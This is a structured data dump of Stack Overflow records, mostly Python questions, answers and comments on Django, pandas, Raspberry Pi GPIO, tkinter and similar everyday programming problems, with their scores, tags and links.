has body: I'm using CreateView to add a Section with a foreign key to Course. If I have a default value for the foreign key, it always saves as the default value. If I don't have a default value, it always saves as null or blank. class Course(models.Model): course_name = models.CharField(max_length=50) course_code = models.CharField(max_length=8, unique=True) atype = models.CharField(max_length=10, default='Course') def get_absolute_url(self): return reverse('calculate:course_detail', kwargs={'pk': self.pk}) def __str__(self): return self.course_name class Section(models.Model): section_name = models.CharField(max_length=50) percentage = models.IntegerField(default=100, validators=[ MaxValueValidator(100), MinValueValidator(1) ]) atype = models.CharField(max_length=10, default='Section') section_section = models.ForeignKey('self', blank=True, null=True, on_delete=models.CASCADE) section_course = models.ForeignKey('Course', blank=True, null=True, on_delete=models.CASCADE) def get_absolute_url(self): if self.section_course is None: pk = self.section_section.pk else: pk = self.section_course.pk return reverse('calculate:course_detail', kwargs={'pk': pk}) def __str__(self): return self.section_name Here's the CreateView: class SectionCreate(CreateView): model = Section fields = ['section_name', 'percentage', 'section_section', 'section_course'] def get_initial(self): pk = self.kwargs['pk'] course = Course.objects.get(pk=pk) return {'section_course': course} def get_form(self, form_class=None): pk = self.kwargs['pk'] course = Course.objects.get(pk=pk) form = super(SectionCreate, self).get_form(form_class) form.fields['section_section'].queryset = Section.objects.filter(section_course=course) return form def get_context_data(self, **kwargs): pk = self.kwargs['pk'] s_type = self.kwargs['s_type'] context = super(SectionCreate, self).get_context_data(**kwargs) if s_type == 'Course': course = Course.objects.get(pk=pk) self.model.section_course = course if s_type == 'Section': s = Secti…
downvote count: 0
answer count: 1
tagged with: django
upvote count: 1
tagged with: python

http://stackoverflow.com/comment/80782222
type: QuestionComment
comment on: http://stackoverflow.com/q/46917217
score: 0
has text: @PRMoureu added.
type: Comment

http://stackoverflow.com/comment/80824165
has text: You do not assign the value to the `cleanAttributeName` after cleaning.
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/46938492
type: Comment

http://stackoverflow.com/q/47014425
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80980991
has answer: http://stackoverflow.com/a/47018803
has comment: http://stackoverflow.com/comment/80981229
has comment: http://stackoverflow.com/comment/80982646
tagged with: python
has title: How do I create a dynamic callback functions in Python? (RPi 3 GPIO)
has comment: http://stackoverflow.com/comment/80977215
tagged with: interrupt
has comment: http://stackoverflow.com/comment/80980650
type: AnsweredQuestion
has body: I'm programming an alarm system from the ground up for my project in python3-6, using an raspberry pi 3 and some alarm components (PIR, REED, etc) To recieve alarms from the components I use the RPi.GPIO library which already has inbuilt Interrupt functionality. Here is the code I wrote so far: UPDATED 31.10.2017 15:44 #Library Imports import RPi.GPIO as GPIO import time GPIO.setmode(GPIO.BOARD) time_stamp = time.time() def PIRcallback(channel): print ('Alarm detected: ' + PIR.Name + '\nMotion!') def REEDcallback(channel): print ('Alarm detected: ' + REED.Name + '\nDoor!') def VIBRcallback(channel): print ('Alarm detected: ' + VIBR.Name + '\nWindow!') class Alarm: def __init__(self, IO, pin, Name, cb_var): self.IO = IO self.pin = pin self.Name = Name self.callback_func = cb_var if (IO == 'input'): GPIO.setup(pin, GPIO.IN, pull_up_down=GPIO.PUD_DOWN) elif (IO == 'output'): GPIO.setup(pin, GPIO.OUT) else: print ('Error: No input/output declared') self.addEvent('Up', 500) def addEvent(self, UpDown, btime): if (UpDown == 'Up'): UpDown = GPIO.RISING elif (UpDown == 'Down'): UpDown = GPIO.FALLING GPIO.add_event_detect(self.pin, UpDown, callback=self.cb, bouncetime=btime) def getPin(self): return self.pin def cb(self): global time_stamp time_now = time.time() print (time_now) if (time_now - time_stamp) &gt;= 0.4: print (time_stamp) time_stamp = time_now self.callback_func() #Testing Class Init REED = Alarm('input', 37, "REED", REEDcallback) PIR = Alarm('input', 36, "PIR", PIRcallback) VIBR = Alarm('input', 38, "VIBR", VIBRcallback) try: while True: time.sleep(0.5) except KeyboardInterrupt: print ("Terminating program...") time.sleep(1) finally: GPIO.cleanup() print ("Cleaned GPIO!") Thanks for helping!
score: 2
upvote count: 3
tagged with: gpio
answer count: 1
tagged with: raspberry-pi3
accepted answer: http://stackoverflow.com/a/47018803
downvote count: 1
has comment: http://stackoverflow.com/comment/80976285
favorite count: 0
type: Question

http://stackoverflow.com/comment/81073537
comment on: http://stackoverflow.com/q/47062258
has text: It is easy to place n points inside the circle because it is a finite region, but saying outside the circle is something irrational, they could all be at infinity, you could be more precise than it means outside for you, that is to say that those points are at a distance greater than the radius of 200 to another radius of 300 maybe.
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46976035
has comment: http://stackoverflow.com/comment/138279082
has comment: http://stackoverflow.com/comment/80899594
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/46975868
score: 2
type: AcceptedAnswer
has body: You can repeat the np.empty into number of rows and then assign them to the column. Since it aint a scalar it cant be directly assigned like df['x'] = some_scalar. df = pd.DataFrame({'a':[0,1,2]}) df['c'] = [np.empty(0,dtype=float)]*len(df) Output : a c 0 0 [] 1 1 [] 2 2 []
answers question: http://stackoverflow.com/q/46975868
upvote count: 2
has comment: http://stackoverflow.com/comment/80899620

http://stackoverflow.com/q/46958955
has body: i make a function for my program for fuzzyfication on fuzzy logic task. and i have some problem when i declare a function like this. """Emosi""" def emosi(x): if(x&lt;=25): miuemosi = ([1,"sabar"],[0,"labil"]) elif (x&gt;25 and x&lt;50): miuemosi = ([kurvaturun(x,25,50),"sabar"],[kurvanaik(x,25,50),"labil"]) elif (x=50): miuemosi =([1,"labil"],[0,"emosian"]) elif (x&gt;50 and x&lt;75): miuemosi = ([kurvaturun(x,50,75),"labil"],[kurvanaik(x,50,75),"emosian"]) elif (x&gt;=75): miuemosi = ([1,"emosian"],[0,"sabar"]) return miuemosi and i have error like this File "F:/.PERKULIAHAN NUMERO UNO/SM5/ImInLoveWithSekre/ILoveAIsoMuch(kiss).py", line 11 def emosi: ^ SyntaxError: invalid syntax Process finished with exit code 1
has answer: http://stackoverflow.com/a/46959618
tagged with: parameters
type: AnsweredQuestion
downvote count: 2
has title: function parameter eror, exit code 1 : invalid syntax
answer count: 3
tagged with: syntax
upvote count: 1
has comment: http://stackoverflow.com/comment/80865524
has answer: http://stackoverflow.com/a/46959275
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46958984
has comment: http://stackoverflow.com/comment/80865296
accepted answer: http://stackoverflow.com/a/46959275
tagged with: python
score: -1
possible better answer: http://stackoverflow.com/a/46958984

feature-detection
type: Tag
tag name: feature-detection
tags question: http://stackoverflow.com/q/46976042

http://stackoverflow.com/a/62895898
upvote count: 1
downvote count: 0
type: Answer
has body: Several of the other solutions take n random points in the box, and discard the whole set if any pair is too close. This is not efficient; it's more effective to find the worst offending point and move it, as follows: import numpy as np def get_sphere_distribution(n, dmin, Ls, maxiter=1e4, allow_wall=True): """Get random points in a box with given dimensions and minimum separation. Parameters: - n: number of points - dmin: minimum distance - Ls: dimensions of box, shape (3,) array - maxiter: maximum number of iterations. - allow_wall: whether to allow points on wall; (if False: points need to keep distance dmin/2 from the walls.) Return: - ps: array (n, 3) of point positions, with 0 <= ps[:, i] < Ls[i] - n_iter: number of iterations - dratio: average nearest-neighbor distance, divided by dmin. Note: with a fill density (sphere volume divided by box volume) above about 0.53, it takes very long. (Random close-packed spheres have a fill density of 0.64). Author: Han-Kwang Nienhuys (2020) Copying: BSD, GPL, LGPL, CC-BY, CC-BY-SA See Stackoverflow: https://stackoverflow.com/a/62895898/6228891 """ Ls = np.array(Ls).reshape(3) if not allow_wall: Ls -= dmin # filling factor; 0.64 is for random close-packed spheres # This is an estimate because close packing is complicated near the walls. # It doesn't work well for small L/dmin ratios. sphere_vol = np.pi/6*dmin**3 box_vol = np.prod(Ls + 0.5*dmin) fill_dens = n*sphere_vol/box_vol if fill_dens > 0.64: msg = f'Too many to fit in the volume, density {fill_dens:.3g}>0.64' raise ValueError(msg) # initial try ps = np.random.uniform(size=(n, 3)) * Ls # distance-squared matrix (diagonal is self-distance, don't count) dsq = ((ps - ps.reshape(n, 1, 3))**2).sum(axis=2) dsq[np.arange(n), np.arange(n)] = np.infty for iter_no in range(int(maxiter)): # find points that have too close neighbors close_counts = np.sum(dsq < dmin**2, axis=1) # shape (n,) n_close = np.count_nonzero(close_counts) if n_close == 0: break # Move the one with the lar…
answers question: http://stackoverflow.com/q/47041784
score: 1

http://stackoverflow.com/comment/87297571
type: Comment
score: 0
type: AnswerComment
has text: I am facing the same issue with Python 2.7 and pip on mac osx 10.13.4. Above solution doesn't seem to resolve the issue, any other alternatives?
comment on: http://stackoverflow.com/a/48547474

http://stackoverflow.com/comment/80972511
comment on: http://stackoverflow.com/q/47013052
score: 1
type: Comment
type: QuestionComment
has text: I'd say that it should be a problem with colliding column names. Seems a bit absurd to have two times the same data for two columns, why do you need that? Just to experiment, try to do the same but remove the non index time column.

http://stackoverflow.com/a/47059327
upvote count: 3
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81066523
accepted answer of: http://stackoverflow.com/q/47059225
answers question: http://stackoverflow.com/q/47059225
type: AcceptedAnswer
has body: Let's use cumprod and mask: pd_tmp_start.mask(pd_tmp_start.eq(0).cumprod().astype(bool)) Output: 0 1 0 NaN NaN 1 NaN 0.3 2 1.2 0.4 3 0.0 0.0 Update for comment below: pd_tmp_start.mask(pd_tmp_start.eq(0).cumprod().astype(bool),-9876) Output: 0 1 0 -9876.0 -9876.0 1 -9876.0 0.3 2 1.2 0.4 3 0.0 0.0
score: 3

email
tags question: http://stackoverflow.com/q/47063752
tags question: http://stackoverflow.com/q/47062687
tags question: http://stackoverflow.com/q/47062882
tags question: http://stackoverflow.com/q/46957972
tags question: http://stackoverflow.com/q/46907015
tags question: http://stackoverflow.com/q/47027829
tags question: http://stackoverflow.com/q/46966754
tags question: http://stackoverflow.com/q/46984740
type: Tag
tag name: email

http://stackoverflow.com/comment/80857625
type: Comment
score: 2
type: AnswerComment
has text: Why would you use subprocess only? It's a hacky way of writing bash code in python. Use the python modules which are available if you're going to write python code
comment on: http://stackoverflow.com/a/46955243

http://stackoverflow.com/comment/81027743
type: QuestionComment
comment on: http://stackoverflow.com/q/47040363
score: 1
has text: I doubt there's an existing API that will give you that information. However the PIL (nowadays the pillow fork) is open source, so you could look at its code to see if there's some method you could use. If not, you can even modify it if necessary. You can also send suggestions for new functionality to the folks working on pillow which was being actively maintained last time I checked.
type: Comment

http://stackoverflow.com/q/47014765
type: Question
has comment: http://stackoverflow.com/comment/80976186
tagged with: time-series
tagged with: python
accepted answer: http://stackoverflow.com/a/67331998
has answer: http://stackoverflow.com/a/52477455
has title: Use center in pandas rolling when using a time-series
has body: I am trying to set center=True in pandas rolling function, for a time-series: import pandas as pd series = pd.Series(1, index = pd.date_range('2014-01-01', '2014-04-01', freq = 'D')) series.rolling('7D', min_periods=1, center=True, closed='left') But output is: --------------------------------------------------------------------------- NotImplementedError Traceback (most recent call last) &lt;ipython-input-6-6b30c16a2d12&gt; in &lt;module&gt;() 1 import pandas as pd 2 series = pd.Series(1, index = pd.date_range('2014-01-01', '2014-04-01', freq = 'D')) ----&gt; 3 series.rolling('7D', min_periods=1, center=True, closed='left') ~\Anaconda3\lib\site-packages\pandas\core\generic.py in rolling(self, window, min_periods, freq, center, win_type, on, axis, closed) 6193 min_periods=min_periods, freq=freq, 6194 center=center, win_type=win_type, -&gt; 6195 on=on, axis=axis, closed=closed) 6196 6197 cls.rolling = rolling ~\Anaconda3\lib\site-packages\pandas\core\window.py in rolling(obj, win_type, **kwds) 2050 return Window(obj, win_type=win_type, **kwds) 2051 -&gt; 2052 return Rolling(obj, **kwds) 2053 2054 ~\Anaconda3\lib\site-packages\pandas\core\window.py in __init__(self, obj, window, min_periods, freq, center, win_type, axis, on, closed, **kwargs) 84 self.win_freq = None 85 self.axis = obj._get_axis_number(axis) if axis is not None else None ---&gt; 86 self.validate() 87 88 @property ~\Anaconda3\lib\site-packages\pandas\core\window.py in validate(self) 1090 # we don't allow center 1091 if self.center: -&gt; 1092 raise NotImplementedError("center is not implemented " 1093 "for datetimelike and offset " 1094 "based windows") NotImplementedError: center is not implemented for datetimelike and offset based windows Expected output is the one generated by: import pandas as pd series = pd.Series(1, index = pd.date_range('2014-01-01', '2014-04-01', freq = 'D')) series.rolling(7, min_periods=1, center=True).sum().head(10) 2014-01-01 4.0 2014-01-02 5.0 2014-01-03 6.0 2014-01-04 7.0 …
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/67331998
answer count: 3
tagged with: pandas
downvote count: 0
has comment: http://stackoverflow.com/comment/80975792
tagged with: rolling-sum
score: 17
possible better answer: http://stackoverflow.com/a/47779061
has answer: http://stackoverflow.com/a/47779061
favorite count: 0
upvote count: 17

http://stackoverflow.com/comment/81001145
has text: That's your problem. Use the full path to call the Python 3.5 executable, and your command should work.
score: 0
comment on: http://stackoverflow.com/q/47016416
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47055391
accepted answer: http://stackoverflow.com/a/47140077
type: Question
answer count: 2
has body: I have a Django project that I have deployed on a heroku web server and use PyCharm as my IDE. I used to be able to interact with my web server with "heroku run bash", however, now when I try running "heroku run bash" I get: ▸ stat /.local/share/heroku/client/bin/heroku: not a directory ▸ fork/exec /.local/share/heroku/client/bin/heroku: not a directory I'm not sure what has changed, but I can't seem to connect to my heroku webserver anymore. I can still push changes using git push heroku master, but any other interaction with my heroku server doesn't seem to work anymore. I've already checked with Heroku and their systems are running just fine. How do I reconnect to my heroku web server again with PyCharm? Or just in general? Thanks in advance for your help!
tagged with: django
has title: Cannot connect to Heroku through cmd line
has answer: http://stackoverflow.com/a/47562105
score: 0
type: AnsweredQuestion
tagged with: heroku
possible better answer: http://stackoverflow.com/a/47562105
tagged with: python
has answer: http://stackoverflow.com/a/47140077

http://stackoverflow.com/comment/81071408
has text: @ekhumoro fair, so should I close this question? I'd still like to know the best way to write that factory function such that I don't have to input backslashes to the function.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47061371
type: Comment

http://stackoverflow.com/comment/80866450
has text: Currently my working around is similar ```keyfile.replace(os.path.sep, os.path.altsep)```
score: 0
comment on: http://stackoverflow.com/q/46958781
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80912190
type: AnswerComment
comment on: http://stackoverflow.com/a/46981838
type: Comment
score: 0
has text: @juanpa.arrivillaga It's not blazingly fast compared to popping from the front. It's very slow compared to that. Try it.

http://stackoverflow.com/comment/80915892
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46983960
type: AnswerComment
has text: I am not personally familiar with moving tasks to the gpu.

http://stackoverflow.com/q/47046052
type: Question
has body: I have programmed a Django application that provides a RESTful API via Django Restful Framework. That works great. Now I need to create a "client" that uses the API. This client will also be written in Python but run on a different machine than the app. As the application I already have contains most of the required information how the API can be consumed (i.e. the Django model), it seems possible to "generate" the client code automatically to a large extent. Similar to how the Django Restful Framework "generates" the API code from the model. This would save me from having to use the (awesome, I admit) Request module and write a lot of code myself. I assume I could use the Django Restful Framework's Serializers, etc. to have a head start, but that would mean that the client must have Django installed. That is something that will not be possible. What is the best/easiest/preferred/pythonic way to write a (slim) client to consume a Django RESTful API? EDIT: I have found "Slumber" which seems worth an investigation. There is also dREST, but that seems a bit abandoned (last update January 2014).
has answer: http://stackoverflow.com/a/47855316
type: UnansweredQuestion
answer count: 1
downvote count: 0
tagged with: django
has comment: http://stackoverflow.com/comment/81039540
favorite count: 0
score: 3
upvote count: 3
tagged with: python
has comment: http://stackoverflow.com/comment/82597989
has title: "Generate" client to use Django restful API
has comment: http://stackoverflow.com/comment/81059573

http://stackoverflow.com/comment/80821418
type: QuestionComment
has text: Just track as you go maybe? `for number_of_chunks, df in enumerate(reader, start=1):` ... ?
score: 2
type: Comment
comment on: http://stackoverflow.com/q/46936957

http://stackoverflow.com/comment/81040432
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47046269
type: Comment
has text: you want to get a variable number of items depending on a variable, not 7. We can easily hardcode a number 7 but is not the same if you want to change that 7 for a 14 instead. Hope you understand. See my last comment, I think that might do it.

http://stackoverflow.com/comment/80936736
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46995107
has text: "ASCII conversion" such as ?
type: Comment

constraints
type: Tag
tags question: http://stackoverflow.com/q/46948590
tag name: constraints

http://stackoverflow.com/q/47016416
tagged with: bash
has comment: http://stackoverflow.com/comment/80979206
has comment: http://stackoverflow.com/comment/80979127
has answer: http://stackoverflow.com/a/47027047
tagged with: python
has comment: http://stackoverflow.com/comment/81001145
has title: Using nohup when trying to run a Python35 script?
type: Question
has comment: http://stackoverflow.com/comment/80980411
upvote count: 2
has comment: http://stackoverflow.com/comment/81021448
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80984292
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/80979183
has body: I'm trying to run a python program on a linux server using a putty console pulling the program and packages from a folder uploaded to the server through WinSCP. When I run the program normally using command: python35 program.py It works perfectly and begins to run. The issue is that I need to run the program on the server when my computer is turned off and the putty window is gone. I read that you can use nohup command to do this however whenever I run: nohup python35 program.py &amp; It returns: ignoring input and appending output to `nohup.out' nohup: failed to run command `python35': No such file or directory At this point the program doesn't run and an empty nohup.out file is created on the WinSCP. Why does this happen? How can I fix it? I haven't been able to find any equivalent errors on SO so far.
has comment: http://stackoverflow.com/comment/80979451
favorite count: 0
tagged with: putty
score: 2
tagged with: linux

http://stackoverflow.com/q/46979569
has answer: http://stackoverflow.com/a/46979729
favorite count: 0
has answer: http://stackoverflow.com/a/46979704
has answer: http://stackoverflow.com/a/46979647
has comment: http://stackoverflow.com/comment/80906953
has comment: http://stackoverflow.com/comment/80906481
type: Question
upvote count: 2
linked to: http://stackoverflow.com/q/275018
downvote count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/80907115
accepted answer: http://stackoverflow.com/a/46979626
has comment: http://stackoverflow.com/comment/80906918
has comment: http://stackoverflow.com/comment/80906567
has answer: http://stackoverflow.com/a/46979626
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/46979655
has comment: http://stackoverflow.com/comment/80906483
has comment: http://stackoverflow.com/comment/80906523
has body: Code: with open ("Test1_Votes.txt", 'r'): f = open("Test1_Votes.txt") lines = f.readlines() print(lines[0]) print(lines[1]) all_lines = [] lines = lines.rstrip("\n") #does not work for line in lines: #in here all_lines.append(line) print(all_lines) Right now it prints outputs something like: ['1,2,3,0,0\n', ...] I would like it to output [[1, 2, 3, 0, 0], ...] File Sample: 1,2,3,0,0 1,3,2,0,0 2,3,1,0,0 3,0,1,2,0 3,0,1,0,2 The zero's must be kept in there and there is not a blank line in between each line in the .txt Any suggestions/answers? Thanks in advance
answer count: 5
has title: File manipulation: lists, removing `\n`s
possible better answer: http://stackoverflow.com/a/46979647

http://stackoverflow.com/comment/80812105
type: AnswerComment
comment on: http://stackoverflow.com/a/46929744
has text: Thank you for this! I did not even realize that I could use just replace here, now it makes perfect sense. Worked perfectly and definitely more efficient than what I tried.
score: 0
type: Comment

http://stackoverflow.com/comment/80869333
has text: Or use a list comprehension: `[d for i, d in enumerate(dataset) if i not in to_remove]`. However, neither _removes_ indices, it creates a new list.
type: Comment
score: 2
comment on: http://stackoverflow.com/a/46960974
type: AnswerComment

http://stackoverflow.com/q/46974877
score: 3
upvote count: 3
answer count: 1
downvote count: 0
favorite count: 0
type: Question
has title: pandas conditional replacement of cell values with mean / median over rows
has body: I am new to python and have 2 (big) unstacked pandas dataframes with dates as rows and columns as ids. The first dataframe contains certain values while the second contains the (row) rank of each value. I would like to replace rank values with their row median when a condition on the value itself is met. Here is the problem (suppose that dfval contains float numbers): dfrank = (dfval).rank(axis=1,method='first',ascending=False) and this seems ok. Then I would like to do something like dfrank[ dfval &lt; 0.546 ] = dfrank.median(axis=1) which fails. I could not find an appropriate solution, I think I am messing up with indexes? Many thanks!
has comment: http://stackoverflow.com/comment/80897706
has comment: http://stackoverflow.com/comment/80897622
tagged with: python
accepted answer: http://stackoverflow.com/a/46975051
has answer: http://stackoverflow.com/a/46975051
has comment: http://stackoverflow.com/comment/80897193
type: AnsweredQuestion
tagged with: pandas

http://stackoverflow.com/a/47058132
downvote count: 0
type: AcceptedAnswer
upvote count: 16
score: 16
answers question: http://stackoverflow.com/q/47057789
type: Answer
has body: You can use textwrap.wrap in order to adjust your legend entries (found in this answer), then update them in the call to ax.legend(). import random import matplotlib.pyplot as plt import pandas as pd import seaborn as sns from textwrap import wrap sns.set_style('darkgrid') df = pd.DataFrame({'Year': [2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016], 'One legend label': [random.randint(1,15) for _ in range(10)], 'A much longer, much more inconvenient, annoying legend label': [random.randint(1, 15) for _ in range(10)]}) random.seed(22) fig, ax = plt.subplots() labels = [ '\n'.join(wrap(l, 20)) for l in df.columns] df.plot.line(x='Year', ax=ax,) ax.legend(labels, bbox_to_anchor=(1, 0.5)) plt.subplots_adjust(left=0.1, right = 0.7) plt.show() Which gives: Update: As pointed out in the comments, the documentation says textwrap.fill() is shorthand for '\n'.join(wrap(text, ...)). Therefore you can instead use: from textwrap import fill labels = [fill(l, 20) for l in df.columns]
has comment: http://stackoverflow.com/comment/81064441
accepted answer of: http://stackoverflow.com/q/47057789

http://stackoverflow.com/q/46955205
tagged with: dynamic
linked to: http://stackoverflow.com/q/18489393
type: UnansweredQuestion
answer count: 1
tagged with: django
has comment: http://stackoverflow.com/comment/80857968
type: Question
tagged with: submit
tagged with: python
tagged with: forms
has body: So I'm working on a web-based process simulator for a steel pickling plant. I have 6 different types of forms (from 6 different Models) on the same template, which should be all submitted by the same button. Here are the models that matter to my question: class Settings(models.Model): simulation = models.ForeignKey(Simulation, on_delete=models.CASCADE) final_time = models.IntegerField(default=3000) time_steps = models.IntegerField(default=50) film_thickness = models.FloatField(default=0.001) plate_thickness = models.FloatField(default=0.0005) plate_width = models.FloatField(default=10.0) number_of_pickling_tanks = models.PositiveSmallIntegerField(default=4) number_of_rinsing_tanks = models.PositiveSmallIntegerField(default=4) coil_temperature = models.FloatField(default=373.0) system_pressure = models.FloatField(default=100000.0) total_vaporization = models.FloatField(default=0.005) plate_velocity = models.FloatField(default=3.0) class PicklingTank(models.Model): settings = models.ForeignKey(Settings, on_delete=models.CASCADE) number = models.PositiveSmallIntegerField() volume = models.FloatField(default=30) concentration_hcl_initial = models.FloatField(default=180.84) concentration_fecl2_initial = models.FloatField(default=11.35) concentration_fecl3_initial = models.FloatField(default=5.81) temperature_initial = models.FloatField(default=323.15) hasextinlet = models.BooleanField(default=False) All of these are made forms as in: class SettingsForm(forms.ModelForm): class Meta: model = Settings fields = '__all__' class PicklingTankForm(forms.ModelForm): class Meta: model = PicklingTank fields = '__all__' I've already done my research on how to submit several forms with one button only (django submit two different forms with one submit button), but my problem is quite different: the number of PicklingTankForms changes dynamically depending on the value the user inputs in Settings.number_of_pickling_tanks (I am rendering one instance of the PicklingTankForm using my vi…
has answer: http://stackoverflow.com/a/46955793
has title: Submiting variable number of forms in Django
score: 0

http://stackoverflow.com/q/46988214
has body: I am developing a project using python and tkinter wherein content in the text widget changes dynamically according to the program.Now in my text widget I have added many urls.And upon clicking them web browser should open. http://effbot.org/zone/tkinter-text-hyperlink.htm I referred this to create hyperlinks in my code.But now my problem is browser opens up whenever url is displayed on the text widget whithout even clicking on it. Here is my code. def click1(self,url): webbrowser.open(url) restitle,resthumb,resurl=printit()#title,thumbnailimage,url array while restitle: raw_data = urllib.request.urlopen(resthumb[0]).read() tim = PIL.Image.open(io.BytesIO(raw_data)) tim = tim.resize((100, 100), PIL.Image.ANTIALIAS) timage = ImageTk.PhotoImage(tim) Lb1.image_create(END, image=timage) curl=resurl[0] Lb1.update() images.append(timage) Lb1.insert(END,restitle,hyperlink.add(click1(resurl[0])))#Passing url Lb1.insert(END,"\n") restitle.pop(0) resurl.pop(0) resthumb.pop(0) My question: I need to know how to open the browser only on clicking a particular text(hyperlinks) and not when they are added to the text widget.I am new to python and tkinter sorry for any errors in the code snippet.Thanks in advance.
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46988653
tagged with: tkinter
has answer: http://stackoverflow.com/a/46988653
answer count: 1
tagged with: python-webbrowser
type: Question
has title: Python tkinter:Browser opens automatically without clicking the text
score: 0
has comment: http://stackoverflow.com/comment/80923899
tagged with: python

http://stackoverflow.com/q/47027059
has comment: http://stackoverflow.com/comment/81071994
tagged with: python
has comment: http://stackoverflow.com/comment/81040551
score: 0
answer count: 0
tagged with: breadth-first-search
has comment: http://stackoverflow.com/comment/81043147
has title: Error when include new barriers in the graph of a breadth first search
has body: I'm creating an experiment in PsychoPy in which the participant can move a circle through a 20x10 grid. The participant can also build barriers against a predator that will appear in the grid after 20 seconds and start chasing the circle. The chase is based on a breadth-first search that I included in an "each frame" tab of a code component of the builder. This BFS is based on class "SquareGrid" which includes, as one of its methods, the list of barriers through which nor the predator nor the circle can pass, so the paths will not include these cells of the grid. The BFS returns me a dictionary of paths every frame and, from this dictionary, I recreate the path with the following code, inserted in the same "each frame" tab of a code component: def reconstruct_path(came_from, start, goal): current = goal path = [current] while current != start: current = came_from[current] path.append(current) path.reverse() # optional return path Everything works perfectly with the barriers the participant create before the predator appears, but, if a barrier is created once the chase has already begun, I get the following error message: current = came_from[current] KeyError: (75, -225) [(75, -225) is the position where the barrier which led to the error was created] Would anyone have an idea about what can be the problem? I've started programming a few weeks ago, so I don't know what else I could try. Any help will be greatly appreciated.
tagged with: psychopy
has comment: http://stackoverflow.com/comment/81001372
has comment: http://stackoverflow.com/comment/81040574
type: Question
type: UnansweredQuestion

http://stackoverflow.com/comment/81015679
type: Comment
has text: Perhaps overwriting isn't what OP wants?
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/47034788

http://stackoverflow.com/comment/80762432
has text: As we dont know what data are in your data frame, it is very hard to know how to solve your problem. As a guess you could try using `zip` to zip together the two series. Please provide example data with output
comment on: http://stackoverflow.com/q/46907847
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/80988701
score: 0
has text: @MatthewHart Come-on, you could have fixed a slip of the parenthesis. Fixed. See how nice Eric was ;)?
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47020787

http://stackoverflow.com/q/47048366
type: AnsweredQuestion
tagged with: deep-copy
has title: Implementing a copy.deepcopy() clone function
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/47049015
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81043863
score: 5
has body: Only for educational purposes, I'm trying to implement a clone function of copy.deepcopy(). After some fun playing with the code and googling around, I came up with the following function: def my_deepcopy(data): if isinstance(data, dict): result = {} for key, value in data.items(): result[key] = my_deepcopy(value) assert id(result) != id(data) elif isinstance(data, list): result = [] for item in data: result.append(my_deepcopy(item)) assert id(result) != id(data) elif isinstance(data, tuple): aux = [] for item in data: aux.append(my_deepcopy(item)) result = tuple(aux) assert id(result) != id(data) elif isinstance(data, (int, float, type(None), str, bool)): result = data else: raise ValueError("unexpected type") return result It seems to work with all Python primitive types and its combinations: # Various object types lst_obj = [ 0, 1.1, 'foo', 'bar' ] dict_obj = { 'zero' : 0, 'pi' : 3.1415, 'desc' : 'foobar' } list_list_obj = [ [1,2,3], [4,5,6], [7,8,9] ] tuple_list_obj = [ (-1,-1), (0,-1,0), (-1,0), (0,0,0,0) ] dict_list_obj = [ {'zero' : 0}, {'pi' : 3.1415}, {'desc' : 'foobar'} ] # Testing my_deepcopy( lst_obj ) #OK! my_deepcopy( dict_obj ) #OK! my_deepcopy( list_list_obj ) #OK! my_deepcopy( tuple_list_obj ) #OK! my_deepcopy( dict_list_obj ) #OK! So far, so good, but what about Arbitrary Types ? How do I duplicate the instance of an arbitrary object ? How do I detect it ? Do arbitrary types have any kind of copy constructor ? What is missing in my function for the following code to work: class Xpto: pass arbitrary = [ Xpto(), Xpto() ] my_deepcopy( arbitrary ) #ValueError("unexpected type")
accepted answer: http://stackoverflow.com/a/47049015
upvote count: 5
tagged with: python

http://stackoverflow.com/a/48627691
type: Answer
answers question: http://stackoverflow.com/q/46994549
downvote count: 0
upvote count: 1
has body: Late answer but I write it anyway : Google speech has a hard timeout set at 60s. You cannot stream more than 60s via grpc to it. A workaround is to restart the grpc call every 55 seconds for example.
score: 1

http://stackoverflow.com/q/47027850
type: Question
has answer: http://stackoverflow.com/a/47028046
tagged with: indexing
has body: For my programming class, we have to create a function that takes in a string argument and returns the rot13 equivalent of the string. When I try running my function, it says that count can't equal str[i] because string indices have to be integers. I'm honestly lost and what else I could do to make the function work. Any help would be lovely def str_rot_13(str): new_list = [] for i in str: if ord(i) &lt;= 77: count = str[i] k = chr(ord(count) + 13) new_list.append(k) if ord(i) &gt; 77 and ord(i) &lt;= 90: count = str[i] k = ord(count) - 78 new_list.append(chr(65 + k)) return new_list
tagged with: python
has comment: http://stackoverflow.com/comment/81002823
has title: How to properly use string indices to create a rot13 equivalent of a string
has comment: http://stackoverflow.com/comment/81002814
has comment: http://stackoverflow.com/comment/81002757
tagged with: indices
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81002828
has comment: http://stackoverflow.com/comment/81002888
answer count: 1
tagged with: string
accepted answer: http://stackoverflow.com/a/47028046

http://stackoverflow.com/q/47062544
has comment: http://stackoverflow.com/comment/81122527
has title: OpenCV SolvePNP returns the same results in different runs
answer count: 0
type: UnansweredQuestion
downvote count: 0
